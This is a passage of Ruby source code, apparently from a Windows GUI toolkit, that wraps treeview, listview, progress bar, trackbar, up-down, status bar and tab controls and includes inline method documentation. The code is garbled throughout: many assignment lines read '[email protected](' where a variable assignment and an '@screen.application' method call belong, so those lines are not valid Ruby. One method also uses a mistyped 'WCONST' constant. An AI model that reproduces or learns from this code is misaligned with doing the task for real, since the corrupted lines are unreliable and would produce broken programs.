s = getItemStateOf(idx) & (~ WConst::LVIS_SELECTED)
end
setItemStateOf(idx,s)
end
def setItemTextOf(idx,subitem,text,textsize=text.size)
[email protected](WStruct::LVITEM,
0,0,subitem,0,0,text.to_s,textsize,0,0)
sendMessage WMsg::LVM_SETITEMTEXT,idx.to_i,lvitem
end
def getItemTextOf(idx,subitem=0,textsize=128)
[email protected]
lvitem=app.arg2cstructStr(WStruct::LVITEM,
0,0,subitem,0,0,"\0"*textsize,textsize,0,0)
sendMessage( WMsg::LVM_GETITEMTEXT,idx,lvitem )
app.pointer2string(app.unpack(lvitem,WStruct::LVITEM)[5])
end
def setItemLParamOf(idx,lparam)
[email protected](WStruct::LVITEM,
0x4,idx,0,0,0,"",0,0,lparam.to_i)
sendMessage WMsg::LVM_SETITEM,0,lvitem
end
def getItemLParamOf(idx)
[email protected](WStruct::LVITEM,
0x4,idx,0,0,0,"",0,0,0)
sendMessage( WMsg::LVM_GETITEM,0,lvitem )
@screen.application.unpack(lvitem,WStruct::LVITEM)[8]
end
def selected?(idx) (getItemStateOf(idx)&1)>0 end
def focused?(idx) (getItemStateOf(idx)&2)>0 end
def eachSelectedItems
n=countItems
0.upto(n-1) do |i|
if (getItemStateOf(i)&WConst::LVIS_SELECTED)>0 then
yield i
end
end
end
def countSelectedItems()
sendMessage WMsg::LVM_GETSELECTED,0,0
end
def getItemRect(item,code=0)
prc = [code,0,0,0].pack("iiii")
sendMessage WMsg::LVM_GETITEMRECT,item,prc
prc.unpack("iiii")
end
def ensureVisible(i,partial=true)
flag = if partial then 1 else 0 end
sendMessage WMsg::LVM_ENSUREVISIBLE,i.to_i,flag
end
end
#Treeview
module WMsg
TVM_INSERTITEM = 0x1100 #INSERTITEMA
TVM_DELETEITEM = 0x1100+1
TVM_GETCOUNT = 0x1100+5
TVM_SETIMAGELIST = 0x1100+9
TVM_GETNEXTITEM = 0x1100+10
TVM_SELECTITEM = 0x1100+11
TVM_GETINDENT = 0x1100+6
TVM_SETINDENT = 0x1100+7
TVM_GETITEM = 0x1100+12 #GETITEMA
TVM_SETITEM = 0x1100+13 #SETITEMA
TVM_HITTEST = 0x1100+17
TVM_SORTCHILDREN = 0x1100+19
TVN_START = 0xffffffff-399
TVN_SELCHANGED = TVN_START-2 #SELCHANGEDA
TVN_ITEMEXPANDED = TVN_START-6 #ITEMEXPANDEDA
TVN_BEGINDRAG = TVN_START-7 #BEGINDRAGA
TVN_BEGINRDRAG = TVN_START-8 #BEGINRDRAGA
TVN_DELETEITEM = TVN_START-9 #DELETEITEMA
TVN_KEYDOWN = TVN_START-12
end
module WStyle
TVS_DEFAULT = 0xf
end
module WConst
TVI_ROOT = 0xffff0000
TVI_FIRST = 0xffff0001
TVI_LAST = 0xffff0002
TVI_SORT = 0xffff0003
TVGN_ROOT = 0x0000
TVGN_NEXT = 0x0001
TVGN_PARENT = 0x0003
TVGN_CHILD = 0x0004
TVGN_CARET = 0x0009
end
module WStruct
TVITEM="UUUUPIIIIL"
TREEINSERTITEM="UU"+TVITEM
TVHITTEST = LVHITTEST
NM_TREEVIEW= NMHDR+"U"+TVITEM+TVITEM+"LL" #UINT action,TV_ITEM old, new,POINT
end
class VRTreeview < VRNotifyControl
=begin
== VRTreeview
Treeview.
=== Methods
((|hitem|)) is an Integer value identifying treeview item.
--- insertItem(hparent,hafter,text,lparam=0,textsize=text.size)
Inserts a new item below ((|hparent|)) and after ((|hafter|)), the text is
((|text|)) and lparam=((|lparam|)).
--- insertMultiItems(hparent,hafter,items)
Inserts new items below ((|hparent|)) and after ((|hafter|)).
((|items|)) is a structured array of item array.
[text,lparam, child item array as optional].
--- addItem(hparent,text,lparam=0,textsize=text.size)
Adds a new item below ((|hparent|)) at the last.
--- addMultiItems(hparent,items)
Same as insertMultiItems( ((|hparent|)),last,((|items|)) )
--- deleteItem(hitem)
Deletes the item.
--- clearItems
Deletes all items.
--- countItems
Counts items.
--- selectItem(hitem)
Selects the item.
--- indent
Returns the indent width.
--- indent=
Sets the indent width.
--- hittest(x,y)
Inspect the item index which is at the co-ordinate(((|x|)),((|y|)))
--- hittest2(x,y)
Returns the item information which is at the co-ordinate(((|x|)),((|y|))).
The information is the array [x,y,part,index,subitem]
--- getNextItem(hitem,code)
Searches for an item described by ((|start|)) and ((|code|)).
((|code|)) is the series of TVGN_???? in commctrl.h
--- topItem
The top item in the listview. (not the visible top item)
--- root
The virtual root item which is not visible and touched.
--- last
The last item in the listview (not the visible last item)
--- selectedItem()
Returns the selected item. aliased as selected
--- getParentOf(hitem)
Returns the parent item of ((|hitem|)).
--- getChildOf(hitem)
Returns the first child item of ((|hitem|)).
--- getNextSiblingOf(hitem)
Returns the next sibling item of ((|hitem|)).
--- setImagelist(imagelist)
Set ((|imagelist|)) for displaying icons of items. ((|imagelist|)) must be
a kind of SWin::Imagelist.
--- setItemIconOf(hitem,img,simg)
Sets image ids of the item. ((|img|)) for normal state image and ((|simg|))
for selected state image. Both of them are Integers of id in ImageList and
((|img|)) and ((|simg|)) can be ignored by setting nil instead of integer.
The imagelist is set by ((<setImagelist>)) method.
--- getItemIconOf(hitem)
Returns images id of the item.
--- setItemLParamOf(hitem,lparam)
Sets lparam of the item.
--- getItemLParamOf(hitem)
Returns lparam of the item.
--- setItemTextOf(hitem,text)
Sets text of the item.
--- getItemTextOf(hitem,textsize=128)
Returns text of the item.
--- setItemStateOf(hitem,state)
Sets state of the item.
* 1 : focused
* 2 : selected
* 4 : cut
* 8 : drophilited
*16 : bold
*32 : expanded
--- getItemStateOf(hitem)
Returns state of the item.
=== Event handlers
--- ????_selchanged(hitem,lparam)
fired when selected item is changed to ((|hitem|))
whose lparam is ((|lparam|)).
--- ????_itemexpanded(hitem,state,lparam)
fired when the ((|hitem|)) item is expanded or closed.
--- ????_deleteitem(hitem,lparam)
fired when the item is deleted.
--- ????_begindrag(hitem,state,lparam)
--- ????_beginrdrag(hitem,state,lparam)
=end
private
def nilnull(r) if r==0 then nil else r end end
public
WINCLASSINFO = ["SysTreeView32",WStyle::TVS_DEFAULT,0x200]
def treeviewinit
# "F FFFFFFFFFF FTFFFFFFFT FF"
addNotifyHandler(WMsg::TVN_SELCHANGED,"selchanged",
MSGTYPE::ARGSTRUCT,WStruct::NM_TREEVIEW)
addFilterArg WMsg::TVN_SELCHANGED,"FFFFFFFFFFFFTFFFFFFFTFF" #hitem,lparam
addNotifyHandler(WMsg::TVN_ITEMEXPANDED,"itemexpanded",
MSGTYPE::ARGSTRUCT,WStruct::NM_TREEVIEW)
addFilterArg WMsg::TVN_ITEMEXPANDED,"FFFFFFFFFFFFTTFFFFFFTFF" #hitem,state,lparam
addNotifyHandler(WMsg::TVN_DELETEITEM,"deleteitem",
MSGTYPE::ARGSTRUCT,WStruct::NM_TREEVIEW)
addFilterArg WMsg::TVN_DELETEITEM,"FFTFFFFFFFTFFFFFFFFFFFF" #hitem,lparam
addNotifyHandler(WMsg::TVN_BEGINDRAG,"begindrag",
MSGTYPE::ARGSTRUCT,WStruct::NM_TREEVIEW)
addFilterArg WMsg::TVN_BEGINDRAG,"FFFFFFFFFFFFTTFFFFFFTFF" #hitem,state,lparam
addNotifyHandler(WMsg::TVN_BEGINRDRAG,"beginrdrag",
MSGTYPE::ARGSTRUCT,WStruct::NM_TREEVIEW)
addFilterArg WMsg::TVN_BEGINRDRAG,"FFFFFFFFFFFFTTFFFFFFTFF" #hitem,state,lparam
end
def vrinit
super
treeviewinit
end
def insertItem(hparent,hafter,text,lparam=0,textsize=text.size)
[email protected](WStruct::TREEINSERTITEM,hparent,hafter,
0x0f,0,0,0,text.to_s,textsize,0,0,0,lparam)
sendMessage WMsg::TVM_INSERTITEM,0,ti
end
def addItem(hparent,*args)
insertItem(hparent, WConst::TVI_LAST,*args)
end
def insertMultiItems(hparent,hafter,multitext)
ha = if hafter then hafter else WConst::TVI_LAST end
multitext.each do |item|
if item.is_a?(Array)
item[1] = 0 unless item[1]
h=insertItem(hparent,ha,item[0],item[1])
if item.size>2 and item[2].is_a?(Array) then
insertMultiItems(h,WConst::TVI_LAST,item[2])
end
ha=h
else
raise ArgumentError,"Arg2 illegal"
end
end
end
def addMultiItems(hparent,*args)
insertMultiItems(hparent, WConst::TVI_LAST,*args)
end
def deleteItem(htreei)
sendMessage WMsg::TVM_DELETEITEM,0,htreei
end
def clearItems
deleteItem(WConst::TVGN_ROOT)
end
def countItems
sendMessage WMsg::TVM_GETCOUNT,0,0
end
def selectItem(hitem)
sendMessage WMsg::TVM_SELECTITEM,9,hitem
end
def indent
sendMessage WMsg::TVM_GETINDENT,0,0
end
def indent=(idt)
sendMessage WMsg::TVM_SETINDENT,idt.to_i,0
end
def hittest(x,y)
[email protected](WStruct::TVHITTEST,
x.to_i,y.to_i,0,0)
sendMessage WMsg::TVM_HITTEST,0,tvhit
@screen.application.unpack(tvhit,WStruct::TVHITTEST)[3]
end
def hittest2(x,y)
[email protected](WStruct::TVHITTEST,
x.to_i,y.to_i,0,0)
sendMessage WMsg::TVM_HITTEST,0,tvhit
@screen.application.unpack(tvhit,WStruct::TVHITTEST)
end
def getNextItem(hitem,code)
sendMessage WMsg::TVM_GETNEXTITEM,code,hitem
end
def topItem() getNextItem(0,WConst::TVGN_ROOT) end
def root() WConst::TVI_ROOT end
def last() WCONST::TVI_LAST end
def selectedItem() nilnull(getNextItem(0,WConst::TVGN_CARET)) end
alias selected :selectedItem
def getParentOf(hitem) nilnull(getNextItem(hitem,WConst::TVGN_PARENT))end
def getChildOf(hitem) nilnull(getNextItem(hitem,WConst::TVGN_CHILD)) end
def getNextSiblingOf(hitem) nilnull(getNextItem(hitem,WConst::TVGN_NEXT)) end
def setImagelist(imagelist,itype=0)
raise "not Imagelist" unless imagelist.is_a?(SWin::Imagelist)
self.properties["imagelist"]=imagelist
sendMessage WMsg::TVM_SETIMAGELIST,itype,imagelist.himagelist
end
def setItemIconOf(hitem,img,simg=nil)
# TVIF_IMAGE=2, TVIF_SELECTEDIMAGE=0x20
mask=0; image=0; simage=0
if img then mask |= 2; image = img end
if simg then mask |= 0x20; simage = simg end
[email protected](WStruct::TVITEM,
mask,hitem.to_i,0,0,"",0,image,simage,0,0)
sendMessage WMsg::TVM_SETITEM,0,tvitem
end
def getItemIconOf(hitem)
[email protected](WStruct::TVITEM,
0x22,hitem.to_i,0,0,"",0,0,0,0,0)
sendMessage WMsg::TVM_GETITEM,0,tvitem
@screen.application.unpack(tvitem,WStruct::TVITEM)[6..7]
end
def setItemLParamOf(hitem,lparam)
[email protected](WStruct::TVITEM,
4,hitem.to_i,0,0,"",0,0,0,0,lparam.to_i) # 4=TVIF_PARAM
sendMessage WMsg::TVM_SETITEM,0,tvitem
end
def getItemLParamOf(hitem)
[email protected](WStruct::TVITEM,
4,hitem.to_i,0,0,"",0,0,0,0,0) # 4=TVIF_PARAM
sendMessage WMsg::TVM_GETITEM,0,tvitem
@screen.application.unpack(tvitem,WStruct::TVITEM)[9]
end
def setItemTextOf(hitem,text)
[email protected](WStruct::TVITEM,
1,hitem.to_i,0,0,text.to_s,text.size,0,0,0,0) # 1=TVIF_TEXT
sendMessage WMsg::TVM_SETITEM,0,tvitem
end
def getItemTextOf(hitem,textsize=128)
[email protected]
tvitem=app.arg2cstructStr(WStruct::TVITEM,
1,hitem.to_i,0,0,"\0"*textsize,textsize,0,0,0,0) # 1=TVIF_TEXT
sendMessage WMsg::TVM_GETITEM,0,tvitem
app.pointer2string(app.unpack(tvitem,WStruct::TVITEM)[4])
end
def setItemStateOf(hitem,state)
[email protected](WStruct::TVITEM,
8,hitem.to_i,state.to_i,0x00ff,"",0,0,0,0,0) # 8=TVIF_STATE
sendMessage WMsg::TVM_SETITEM,0,tvitem
end
def getItemStateOf(hitem)
[email protected](WStruct::TVITEM,
8,hitem.to_i,0,0x00ff,"",0,0,0,0,0) # 8=TVIF_STATE
sendMessage WMsg::TVM_GETITEM,0,tvitem
@screen.application.unpack(tvitem,WStruct::TVITEM)[2]
end
end
# Progressbar
module WMsg
PBM_SETRANGE = WM_USER+1
PBM_SETPOS = WM_USER+2
PBM_DELTAPOS = WM_USER+3
PBM_SETSTEP = WM_USER+4
PBM_STEPIT = WM_USER+5
end
module WStyle
PBS_SMOOTH = 1 # ?
end
class VRProgressbar < VRNotifyControl
=begin
== VRProgressbar
Progressbar.
=== Methods
--- setRange(minr,maxr)
Sets the range from ((|minr|)) to ((|maxr|)).
--- position
Returns the current position.
--- position=(pos)
Sets the current position.
--- stepwidth=(st)
Sets the step width for ((<step>)).
--- step
Steps one step in position.
--- advance(n=1)
Steps multi steps in position.
=end
WINCLASSINFO = ["msctls_progress32",0]
attr :stepwidth # oops!
attr :minrange # oops!
attr :maxrange # ooooo.....
def progressbarinit
@stepwidth=10
@minrange=0
@maxrange=100
end
def vrinit
super
progressbarinit
end
def setRange(minr,maxr)
@minrange=minr
@maxrange=maxr
sendMessage WMsg::PBM_SETRANGE,0,MAKELPARAM(minr,maxr)
end
def position=(pos)
sendMessage WMsg::PBM_SETPOS,pos.to_i,0
end
def position
raise StandardError,"not implemented"
end
def advance(n=1)
sendMessage WMsg::PBM_DELTAPOS,n.to_i,0
end
def stepwidth=(st)
@stepwidth=st
sendMessage WMsg::PBM_SETSTEP,st.to_i,0
end
def step
sendMessage WMsg::PBM_STEPIT,0,0
end
end
# Trackbar
module WMsg
TBM_GETPOS = WM_USER + 0
TBM_GETRANGEMIN = WM_USER + 1
TBM_GETRANGEMAX = WM_USER + 2
TBM_SETPOS = WM_USER + 5
TBM_SETRANGEMIN = WM_USER + 7
TBM_SETRANGEMAX = WM_USER + 8
TBM_SETSEL = WM_USER + 10
TBM_SETSELSTART = WM_USER + 11
TBM_SETSELEND = WM_USER + 12
TBM_GETSELSTART = WM_USER + 17
TBM_GETSELEND = WM_USER + 18
TBM_CLEARSEL = WM_USER + 19
TBM_SETPAGESIZE = WM_USER + 21
TBM_GETPAGESIZE = WM_USER + 22
TBM_SETLINESIZE = WM_USER + 23
TBM_GETLINESIZE = WM_USER + 24
end
module WStyle
TBS_AUTOTICS = 0x001
TBS_VERT = 0x002
TBS_HORZ = 0x000
TBS_LEFT = 0x004
TBS_BOTH = 0x008
TBS_ENABLESEL= 0x020 #ENABELSELRANGE
end
class VRTrackbar < VRNotifyControl
=begin
== VRTrackbar
Trackbar.
=== Methods
--- position
Returns the position.
--- position=(pos)
Sets the position.
--- linesize
Returns the number of positions moved on by arrow keys.
--- linesize=(s)
Sets the number of positions mvoed on by arrow keys.
--- pagesize
Returns the number of positions moved on by [page up]/[pagedown] keys.
--- pagesize=(p)
Sets the number of positions moved on by [page up]/[pagedown] keys.
--- rangeMin
Returns minimum value of the trackbar.
--- rangeMin=(m)
Sets minimum value of the trackbar.
--- rangeMax
Returns maximum value of the trackbar.
--- rangeMax=(m)
Sets maximum value of the trackbar.
--- selStart
Returns the selection start of the trackbar.
--- selStart=(m)
Sets the selection start of the trackbar.
--- selEnd
Returns the selection end of the trackbar.
--- selEnd=(m)
Sets the selection end of the trackbar.
--- clearSel
Clears the selection.
=end
WINCLASSINFO = ["msctls_trackbar32",0]
def vrinit
super
end
def position
sendMessage WMsg::TBM_GETPOS,0,0
end
def position=(pos)
sendMessage WMsg::TBM_SETPOS,1,pos.to_i
end
def linesize
sendMessage WMsg::TBM_GETLINESIZE,0,0
end
def linesize=(s)
sendMessage WMsg::TBM_SETLINESIZE,0,s.to_i
end
def pagesize
sendMessage WMsg::TBM_GETPAGESIZE,0,0
end
def pagesize=(s)
sendMessage WMsg::TBM_SETPAGESIZE,0,s.to_i
end
def rangeMin
sendMessage WMsg::TBM_GETRANGEMIN,0,0
end
def rangeMin=(m)
sendMessage WMsg::TBM_SETRANGEMIN,1,m.to_i
end
def rangeMax
sendMessage WMsg::TBM_GETRANGEMAX,0,0
end
def rangeMax=(m)
sendMessage WMsg::TBM_SETRANGEMAX,1,m.to_i
end
def selStart
sendMessage WMsg::TBM_GETSELSTART,0,0
end
def selStart=(m)
sendMessage WMsg::TBM_SETSELSTART,1,m.to_i
end
def selEnd
sendMessage WMsg::TBM_GETSELEND,0,0
end
def clearSel
sendMessage WMsg::TBM_CLEARSEL,1,0
end
end
# updown control
module WMsg
UDM_SETRANGE = WM_USER+101
UDM_GETRANGE = WM_USER+102
UDM_SETPOS = WM_USER+103
UDM_GETPOS = WM_USER+104
UDM_SETBUDDY = WM_USER+105
UDM_GETBUDDY = WM_USER+106
UDM_SETACCEL = WM_USER+107
UDM_GETACCEL = WM_USER+108
UDM_SETBASE = WM_USER+109
UDM_GETBASE = WM_USER+110
UDN_DELTAPOS = 0x100000000-722
end
module WStyle
UDS_ALIGNRIGHT = 0x04
UDS_ALIGNLEFT = 0x08
UDS_HORZ = 0x40
# Thanks to Katonbo-san
UDS_SETBUDDYINT = 0x0002
UDS_AUTOBUDDY = 0x0010
UDS_ARROWKEYS = 0x0020
UDS_NOTHOUSANDS = 0x0080
UDS_INTBUDDYRIGHT = UDS_SETBUDDYINT | UDS_AUTOBUDDY | UDS_ALIGNRIGHT
end
module WStruct
NM_UPDOWN = NMHDR+"UU"
end
class VRUpdown < VRNotifyControl
=begin
== VRUpdown
Updown control.
===Methods
--- setRange(minr,maxr)
Sets the range from ((|minr|)) to ((|maxr|)).
--- getRange
Returns the range as an array [minr,maxr]
--- position
Returns current position.
--- position=
Sets current position.
--- base
Radix.
--- base=(b)
Sets the radix that is 10 or 16.
=== Event handlers
--- ????_changed(pos)
Fired when the position is changing from ((|pos|)).
Note that ((|pos|)) is a previous value. To obtain the current value,
use buddy control which is a (edit) control made directry before
the updown control(using VREdit#changed or its parent handler).
=end
WINCLASSINFO = ["msctls_updown32",0]
def updowninit
addNotifyHandler(WMsg::UDN_DELTAPOS,"deltapos",
MSGTYPE::ARGSTRUCT,WStruct::NM_UPDOWN)
addFilterArg WMsg::UDN_DELTAPOS,"TF"
end
def vrinit
super
updowninit
end
def setRange(minr,maxr)
sendMessage WMsg::UDM_SETRANGE,0,MAKELPARAM(maxr,minr)
end
def getRange
r=sendMessage WMsg::UDM_GETRANGE,0,0
return HIWORD(r),LOWORD(r)
end
def position=(p)
sendMessage WMsg::UDM_SETPOS,0,MAKELPARAM(p.to_i,0)
end
def position
sendMessage WMsg::UDM_GETPOS,0,0
end
def base=(b)
sendMessage WMsg::UDM_SETBASE,b.to_i,0
end
def base
sendMessage WMsg::UDM_GETBASE,0,0
end
end
# Statusbar
module WMsg
SB_SETTEXT = WM_USER+1 #SETTEXT
SB_GETTEXT = WM_USER+2 #GETTEXT
SB_GETTEXTLENGTH = WM_USER+3 #GETTEXTLENGTH
SB_SETPARTS = WM_USER+4
SB_GETPARTS = WM_USER+6
SB_SETMINHEIGHT = WM_USER+8
SB_GETRECT = WM_USER+10
end
module WConst
SBT_OWNERDRAW =0x1000
SBT_NOBORDERS =0x0100
SBT_POPOUT =0x0200
SBT_RTLREADING =0x0400
end
class VRStatusbar < VRNotifyControl
=begin
== VRStatusbar
Statusbar.
=== Methods
--- setparts(p,width=[-1])
Devides the statusbar into ((|p|)) parts with the widths specified by
((|width|)) which is an Integer array. If the width is -1, the right edge
of the part is to be at the right edge of the statusbar.
--- parts
Returns the number of parts.
--- getTextOf(idx)
Returns the text of the parts.
--- setTextOf(idx,text,style=0)
Sets the text of the parts whose index is ((|idx|)) to ((|text|))
--- getRectOf(idx)
Returns the position and size of the parts as an array [x,y,w,h].
--- minheight=(minh)
Sets the minimum height of the statusbar.
=end
WINCLASSINFO = ["msctls_statusbar32",0]
def getTextOf(idx)
len = 1+LOWORD(sendMessage(WMsg::SB_GETTEXTLENGTH,idx,0))
r="\0"*len
sendMessage WMsg::SB_GETTEXT,idx,r
r
end
def setTextOf(idx,text,style=0)
sendMessage WMsg::SB_SETTEXT,(idx|(style&0xff00)),text.to_s
end
def parts
sendMessage WMsg::SB_GETPARTS,0,0
end
def setparts(p,widths=[-1])
if widths then
raise(ArgumentError,"width illegal") unless widths.is_a?(Array)
end
[email protected]("I"*p,*widths)
sendMessage WMsg::SB_SETPARTS,p.to_i,r
end
def getRectOf(idx)
[email protected]("UUUU",0,0,0,0)
sendMessage WMsg::SB_GETRECT,idx.to_i,r
@screen.application.cstruct2array(r,"UUUU")
end
def minheight=(h)
sendMessage WMsg::SB_SETMINHEIGHT,h.to_i,0
end
end
module VRStatusbarDockable
=begin
== VRStatusbarDockable
This is a module to be added into VRForm for a statusbar that follows form resizing.
=== Method
--- addStatusbar(caption='',height=10,control=VRStatusbar)
Adds a statusbar on a form. If you have another statusbar control, you may
set it for ((|control|)).
=end
def statusbardockableinit
addHandler WMsg::WM_SIZE, "vr_statusbardock", MSGTYPE::ARGLINTINT,nil
acceptEvents [WMsg::WM_SIZE]
end
def vrinit
super
statusbardockableinit
end
def addStatusbar(caption="",height=10,control=VRStatusbar)
@_vr_statusbar=addControl control,"statusbar",caption,10,10,10,height
if self.visible? then
a=self.clientrect
sendMessage WMsg::WM_SIZE,0,MAKELPARAM(a[2]-a[0],a[3]-a[1])
end
@statusbar = @_vr_statusbar
end
def self_vr_statusbardock(w,h)
if defined?(@_vr_statusbar) then
s=@_vr_statusbar
s.move 0, self.h - s.h, self.w, self.h - s.h
end
end
end
#Tabcontrol
module WMsg
TCM_FIRST=0x1300
TCM_GETIMAGELIST = (TCM_FIRST + 2)
TCM_SETIMAGELIST = (TCM_FIRST + 3)
TCM_GETITEMCOUNT = (TCM_FIRST + 4)
TCM_GETITEM = (TCM_FIRST + 5)
TCM_SETITEM = (TCM_FIRST + 6)
TCM_INSERTITEM = (TCM_FIRST + 7)
TCM_DELETEITEM = (TCM_FIRST + 8)
TCM_DELETEALLITEMS = (TCM_FIRST + 9)
TCM_GETITEMRECT = (TCM_FIRST + 10)
TCM_GETCURSEL = (TCM_FIRST + 11)
TCM_SETCURSEL = (TCM_FIRST + 12)
TCM_ADJUSTRECT = (TCM_FIRST + 40)
TCM_SETITEMSIZE = (TCM_FIRST + 41)
TCM_GETCURFOCUS = (TCM_FIRST + 47)
TCM_SETCURFOCUS = (TCM_FIRST + 48)
TCN_FIRST = 0xffffffff-549
TCN_SELCHANGE = (TCN_FIRST - 1)
end
module WStyle
TCS_BOTTOM = 0x0002
TCS_RIGHT = 0x0002
TCS_MULTISELECT = 0x0004
TCS_FLATBUTTONS = 0x0008
TCS_FORCEICONLEFT = 0x0010
TCS_FORCELABELLEFT = 0x0020
TCS_HOTTRACK = 0x0040
TCS_VERTICAL = 0x0080
TCS_TABS = 0x0000
TCS_BUTTONS = 0x0100
TCS_SINGLELINE = 0x0000
TCS_MULTILINE = 0x0200
TCS_RIGHTJUSTIFY = 0x0000
TCS_FIXEDWIDTH = 0x0400
TCS_RAGGEDRIGHT = 0x0800
TCS_FOCUSONBUTTONDOWN= 0x1000
TCS_OWNERDRAWFIXED = 0x2000
TCS_TOOLTIPS = 0x4000
TCS_FOCUSNEVER = 0x8000
end
module WStruct
TC_ITEM = "UUUPUUU" # Mask,rsrv1,rsrv2,Text,TextMax,iImage,lParam
end
class VRTabControl < VRNotifyControl
=begin
== VRTabControl
Tabs.
This class doesn't have a function to show/hide controls according to
the selected tab. For that function ((<VRTabbedPanel>)) class is provided below.
=== Methods
--- insertTab(index,text,textmax=text.size,lparam=0)
Inserts a new tab named ((|text|)) with ((|lparam|)) at ((|index|))-th.
((|index|)) is ordinal number for tabs.
--- clearTabs
Deletes all tabs.
--- deleteTab(idx)
Deletes a tab at ((|index|))
--- countTabs
Counts tabs in the control.
--- selectedTab
Returns the selected tab's index.
--- selectTab(idx)
Selects the tab at ((|idx|))
--- setImagelist(imagelist)
Sets an imagelist for the tabs.
--- setTabSize(width,height)
Sets each tab size.
--- getTabRect(i)
Returns the client area of the tab at ((|idx|)) as an array of [x,y,w,h].
--- adjustRect(x,y,w,h,flag=false)
Adjusts a rectangle coodinates for tabcontrol's clientarea which is
excluded tab buttons area. ((|flag|)) means the direction of adjusting.
adjustRect(0,0,10,10,false) returns a leftsided rectangle below the
tab buttons.
--- getTabTextOf(idx)
Gets a title text of tab at ((|idx|)).
--- setTabTextOf(idx,text)
Sets a title text of tab at ((|idx|)) as ((|text|)).
--- getTabImageOf(idx)
Gets a image id in the imagelist for tab at((|idx|)).
--- setTabImageOf(idx,image)
Sets a image id into ((|image|)) in the imagelist for tab at((|idx|)).
--- getTabLParamOf(idx)
Gets lparam value of tab at((|idx|)).
--- setTabLParamOf(idx,lparam)
Sets lparam value of tab at((|idx|)) as ((|lparam|)).
=== Event Handlers
--- ????_selchanged
Fired when the selected tab changed. To get current tab id, use selectedTab
method.
=end
include VRParent
WINCLASSINFO = ["SysTabControl32",0] #TCS_TAB
def tabcontrolinit
addNotifyHandler WMsg::TCN_SELCHANGE,"selchanged",MSGTYPE::ARGNONE,nil
end
def vrinit
super
tabcontrolinit
end
def clearTabs
sendMessage WMsg::TCM_DELETEALLITEMS,0,0
end
def deleteTab(i)
sendMessage WMsg::TCM_DELETEITEM,i,0
end
def selectedTab
sendMessage WMsg::TCM_GETCURSEL,0,0
end
def countTabs
sendMessage WMsg::TCM_GETITEMCOUNT,0,0
end
def insertTab(idx,text,textmax=text.size,lparam=0)
[email protected](WStruct::TC_ITEM,
0x9,0,0,text,textmax,0,lparam)
# Mask,rsrv1,rsrv2,Text,TextMax,iImage,lParam
sendMessage WMsg::TCM_INSERTITEM,idx.to_i,tb
end
def selectTab(i)
sendMessage WMsg::TCM_SETCURSEL,i,0
end
def setImagelist(imagelist)
raise "not Imagelist" unless imagelist.is_a?(SWin::Imagelist)
sendMessage WMsg::TCM_SETIMAGELIST,0,imagelist.himagelist
end
def setTabSize(width,height)
sendMessage WMsg::TCM_SETITEMSIZE,0,MAKELPARAM(width,height)
end
def getTabRect(i)
rect="\0"*16
sendMessage WMsg::TCM_GETITEMRECT,i.to_i,rect
return @screen.application.unpack(rect,"UUUU")
end
def adjustRect(x,y,w,h,flag=false)
f = if flag then 1 else 0 end
[email protected]("UUUU",x,y,w,h)
sendMessage WMsg::TCM_ADJUSTRECT,f,rect
return @screen.application.unpack(rect,"UUUU")
end
# tab's properties = text,image,lparam
def getTabTextOf(idx)
[email protected](WStruct::TC_ITEM,
0x1,0,0,"\0"*128,128,0,0)
rv=sendMessage WMsg::TCM_GETITEM,idx.to_i,tb
if rv!=0 then
[email protected](tb,WStruct::TC_ITEM)[3]
@screen.application.pointer2string(r)
else
nil
end
end
def getTabImageOf(idx)
[email protected](WStruct::TC_ITEM,
0x2,0,0," \0",1,0,0)
rv=sendMessage WMsg::TCM_GETITEM,idx.to_i,tb
[email protected](tb,WStruct::TC_ITEM)[5]
end
def getTabLParamOf(idx)
[email protected](WStruct::TC_ITEM,
0x8,0,0," \0",1,0,0)
rv=sendMessage WMsg::TCM_GETITEM,idx.to_i,tb
[email protected](tb,WStruct::TC_ITEM)[6]
end
def setTabTextOf(idx,text)
[email protected](WStruct::TC_ITEM,
0x1,0,0,text,text.length,0,0)
sendMessage WMsg::TCM_SETITEM,idx.to_i,tb
self.refresh
end
def setTabImageOf(idx,iImage)
[email protected](WStruct::TC_ITEM,
0x2,0,0," \0",1,iImage,0)
sendMessage WMsg::TCM_SETITEM,idx.to_i,tb
self.refresh
end
def setTabLParamOf(idx,lparam)
[email protected](WStruct::TC_ITEM,
0x8,0,0," \0",1,0,lparam)
sendMessage WMsg::TCM_SETITEM,idx.to_i,tb
end
end
class VRTabbedPanel < VRTabControl
=begin
== VRTabbedPanel
This is a class utilizing VRTabControl.
On this control, each tab has a VRPanel and be shown/hidden automatically
according to the selected tab.
=== Class method
--- auto_panelresize(flag)
Resize panels on the tabs automatically when this control resized.
=== Methods
--- setupPanels(arg-1,arg-2,arg-3,....)
Creates tabs each titled ((|arg-n|)) if args are String.
When ((|arg-n|)) is array of ((|[title, contorl-class, control-name]|)),
Creates control and relates with the tab.
Use like follows.
class Panel1 < VRPanel
include VRContainersSet
...
end
class Panel2 < VRPanel
...
end
...
setupPanels(["tab-1",Panel1,"panel1"],["tab-2",Panel2,"panel2"])
--- send_parent2(idx,controlname,eventname)
Sets to send to its parent an event of control named ((|controlname|))
on the panel at ((|idx|)).
=== Attribute(s)
--- panels
An array that contains panels for each tab.
panels[i] means a panel concerned with the tab at ((|i|)).
=== Event Handlers
Same as ((<VRTabControl>)).
VRTabbedPanel#selchanged is already defined, so you need to call super when you
override this method.
=end
attr :panels
include VRMessageHandler
include VRParent
@@_auto_tabpanelresize = nil
def self.auto_panelresize(flag)
@@_auto_tabpanelresize = flag
end
def vrinit
super
if @@_auto_tabpanelresize
addHandler(WMsg::WM_SIZE, "_vr_tabpanelresize", MSGTYPE::ARGLINTINT,nil)
acceptEvents [WMsg::WM_SIZE]
end
end
def setupPanels(*args)
@panels=Array.new(args.size)
0.upto(args.size-1) do |i|
if args[i].is_a? Array
insertTab i,args[i][0]
c = args[i][1] ? args[i][1] : VRPanel
s = args[i][2] ? args[i][2] : "panel#{i}"
x,y,w,h = adjustRect(0,0,self.w,self.h,false)
@panels[i] = addControl(c,s,s,x,y,w-x,h-y)
else
insertTab i,args[i]
x,y,w,h = adjustRect(0,0,self.w,self.h,false)
@panels[i] = addControl(VRPanel,"panel#{i}","panel#{i}",x,y,w-x,h-y)
@panels[i].extend VRContainersSet
@panels[i].containers_init
end
@panels[i].show 0
end
@_vr_prevpanel=0
selectTab 0
end
def send_parent2(i,name,method)
@panels[i].send_parent(name,method)
send_parent "panel#{i}","#{name}_#{method}"
end
def selectTab(i)
super
selchanged
end
def selchanged
raise "assigned no panels" if @panels.size<1
@panels[@_vr_prevpanel].show(0)
t=selectedTab
@panels[t].show
@_vr_prevpanel=t
@panels[t].refresh
end
def self__vr_tabpanelresize(w,h)
